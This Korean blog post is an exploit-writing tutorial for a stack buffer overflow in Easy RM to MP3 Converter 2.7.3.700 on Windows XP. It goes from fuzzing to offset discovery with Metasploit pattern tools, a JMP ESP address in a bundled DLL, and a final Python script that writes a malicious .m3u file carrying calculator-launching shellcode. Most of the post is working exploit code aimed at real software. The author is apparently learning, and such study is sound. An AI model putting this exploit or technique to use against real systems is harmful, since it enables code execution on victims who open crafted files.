Be myself :: 윈도우 BOF

달력

42024  이전 다음

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30

윈도우 BOF

Exploit 2014. 5. 28. 19:04

1 개요

오랜만에 하는 포스팅이다. uaf공부하다가 부족함을 느껴 윈도우 exploit의 기초부터 쌓을 필요가 있을 것 같아 Bof부터 하나하나 정리해 가겠다. 따라서 이번 글은 버퍼오버플로에 관한 내용이 되겠다. 여기서 가정하고 있는 독자는 버퍼오버플로에 대한 내용을 이해하고 있는 사람들을 대상으로 한다. 잘 모르는 사람은 검색하면 좋은 문서들이 많으므로 참고하길 바란다. 여기서 다루는 툴들은 windbg와 python 2.7과 백트랙 5을 사용하였고 공격 대상은"Easy RM to MP3 Converter.exe" 2.7.3.700 버전이다. 모두 검색하면 쉽게 다운로드 받을 수 있다. 실행 환경은 windows xp sp3 이다.( https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/ 가 현재 작성한 내용의 중심이다. 자세한 내용을 원한다면 참고하길 바란다.)

 

2 분석

Easy RM to MPT Converter는 m3u파일을 읽어 오는 과정에서 버퍼 오버플로 취약점이 존재하는 프로그램이다. 그래서, 우리는 m3u파일의 내용에 충분히 적당한 양의 코드를 넣어서 버퍼의 RET까지 가서 덮어버리고, 프로그램의 흐름을 우리가 원하는 대로 제어할 수 있게 된다. 자, 그럼 일단 간단한 파이썬 코드를 짜서 m3u파일을 만들어 보자.

f = open("crash.m3u","w");
foo = "A"*30000;
f.write(foo);
print("Write Success! ");
f.close();

  

그 다음 생성된 crash.m3u 파일을 Easy RM to MPT converter로 로드시키면 다음과 같은 크래쉬가 난다. 이 때, 크래쉬가 난 지점에서 windbg로 디버깅 하기 위해선, cmd에서 windbg -I옵션을 주어 설정을 먼저 해야한다. cmd창을 띄워 windbg –I를 입력하자. 그 후 방금 생성된 crash.m3u파일을 로드 시키면 다음과 같은 화면이 뜬다.

그림에서 확인 할 수 있듯이 eip의 값의 41('A'의 값)으로 덮였다. 또 한 그때의 esp가 가리키는 값도 41('A')로 덮였다. 따라서 우린 이 프로그램에 버퍼오버플로 취약점이 있다는 것을 확인한 셈이다. 그렇다면 이제 우리가 원하는 셸코드를 ff730이후에 입력하고, eip 를 esp의 값으로(ff730)덮어 버린다면, 셸코드를 실행 시킬 수 있을 것 같다. 자, 그럼 일단 우리가 할 것은 A가 처음 저장되는 버퍼에서부터 RET까지의 거리를 알아야 한다. 몇 번의 테스트 후 확인된 점은 A*25000 + B*5000 이라 했을 때, eip의 값이 B로 바뀌었다. 이 말은, 거리가 25000~30000사이 라는 뜻이다. 정확한 거리를 확인하기 위해서 백트랙에 있는 메타스플로잇 도구를 이용하였다.

./pattern_create.rb 5000 이라 입력해 패턴을 5000개 정도 입력한다. 그리고 이 패턴을 사용하여 crash.m3u파일의 내용이 A*25000 + Create Pattern[5000] 이 되도록 프로그래밍 한다. 그 다음 이 파일을 로딩시키면 다음과 같은 화면이 뜬다

이 때, eip값을 기억하고, 백트랙으로 돌아가서 다음과 같이 입력한다.

./pattern_offset.rb 6a42366a(eip값) 5000(패턴 크기) (*여기서 위의 eip와 밑의 그림의 eip값이 다른 이유는 테스트한 환경이 달라져서 그런다. 원래 테스트한 그림이 사라져 kisec에서 번역한 문서에서 그림을 따왔다.)

offset값이 1069라고 뜬다. 즉, 25000 + 1069 = 26069 의 크기만큼 RET와 떨어져 있다는 뜻이다. 그렇다면 우린 26069크기 만큼의 아무 값이나 입력하고 그 후에 입력한 값이 RET가 되고 다음에 입력한 값이 esp가 가리키는 값들이 될 겉이다.

따라서 우리가 구성해야 할 공격 페이로드는 [26069크기의 A][RET][Shell code] 이렇게 구성된다. 이 때, RET의 값은 esp의 값에 되어야 하므로, esp값을 확인하기 위해 파일 내용을 [A*26069 + AAAA + C*1000]구성해서 확인해 보면 다음과 같다.


esp값은 ff730이므로 eip의 값을 ff730으로 하고, esp의 값에 셸코드를 올린다면, 우리가 원하는 대로 프로그램의 흐름을 잡을 수 있다. 다음과 같이 코드를 짜자.

import struct
f = open("crash.m3u","w");
foo = "A"*26069;
exploit=struct.pack('<I',0x000ff730);
foo2 = "\x90"*25 + "\xCC" + "\x90"*20;
f.write(foo+exploit+foo2);
print("write sucess!! ");
f.close();

다음, 만들어진 파일을 easy RM~에 로드 시키면 우리가 원하던 결과와 다른 화면이 뜬다. 우리가 원했던 결과는 'CC'(Break명령어)로 인해 프로그램이 break되는 것을 원했는데, 화면에선 "\xCC"는 커녕 NOP도 확인이 불가능하다.

왜 이런 것일까? 그 이유는 eip주소 값에 NULL 문자가 존재하기 때문이다.주소 값이 저장될 땐 little endian으로 저장되고 0x000ff730은 little endian으로 나타내면 30 f7 0f 00 이 되는데, 이 때, 마지막 부분이 NULL문자로 인식 되어서 우리가 프로그래밍 할 때, exploit + foo2 부분에서 foo2는 전혀 입력되지 않아 발생하는 문제이다. 따라서 우린 다른 공격방법을 찾아야 한다. 프로그램에선 하나 이상의 dll을 로드시키기 때문에 dll에서 JMP esp 하는 명령어 주소 부분을 찾아 (NULL문자가 존재하지 않는 주소 값으로) 이 부분으로 eip값으로 이용한다면, 우리가 원하는 결과를 얻을 수 있을 것이다. 그렇다면 일단 프로그램을 정상적으로 실행 했을 때, 어떤 dll들이 로딩되어 있는지 확인하고 그 dll들을 확인해 JMP esp의 명령을 가지는 부분을 찾아보는 것이 과제가 될 것이다. 다음은 로딩된 dll들이다.

여기서 우리가 확인해야 할 dll은 Easy RM to MP3 Converter에서 로딩되는 dll들을 확인하는 것이다. 왜냐하면, system32에서 로딩되는 dll들은 OS마다 로딩되는 주소가 각각 달라져 운영체제에 종속적인 exploit코드가 되기 때문이다. 여기서 제일 맘에 드는 MSRMCcodec02.dll부분을 살펴보자. [S 시작주소 L 마지막주소 옵코드] 명령을 windbg에 주면 검색한 옵코드를 가지는 부분을 확인 할 수 있다. JMP esp의 옵코드는 ff e4이다.

위의 화면에서 마음에 NULL문자가 없고 마음에 드는 부분을 확인해 보자. 필자는 1df023f부분을 확인해 보겠다. U 1df023f를 누르면 이 부분의 어셈블리 코드가 확인 가능하다.

Jmp esp가 되어있는 것을 확인 할 수 있다. 그렇다면 이 부분을 eip로 하고 esp부분에 셸코드를 띄우면 공격 성공이다.

다음과 같이 코드를 입력한다.

import struct

f = open("crash.m3u","w");
foo = "A"*26069;
exploit=struct.pack('<I',0x01df023f);
foo2 = "\x90"*25 + "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" + "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" + "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" + "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" + "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" + "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" + "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" + "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" + "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" + "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" + "\x7f\xe8\x7b\xca";

f.write(foo+exploit+foo2);
print("write sucess!! ");
f.close();

이 셸코드는 계산기를 띄우는 코드이고, 실행 시키면 다음과 같이 계산기가 뜨는 것을 볼 수 있다.

 

끄읕.

'Exploit' 카테고리의 다른 글

C++에서 VTable  (0) 2014.07.12
여러 보호기법  (0) 2014.07.11
SEH overwriting  (0) 2014.07.10
간단한 Shellcode 만들기  (0) 2014.05.05
FSB공격 정리  (0) 2014.05.04
Posted by flack3r
|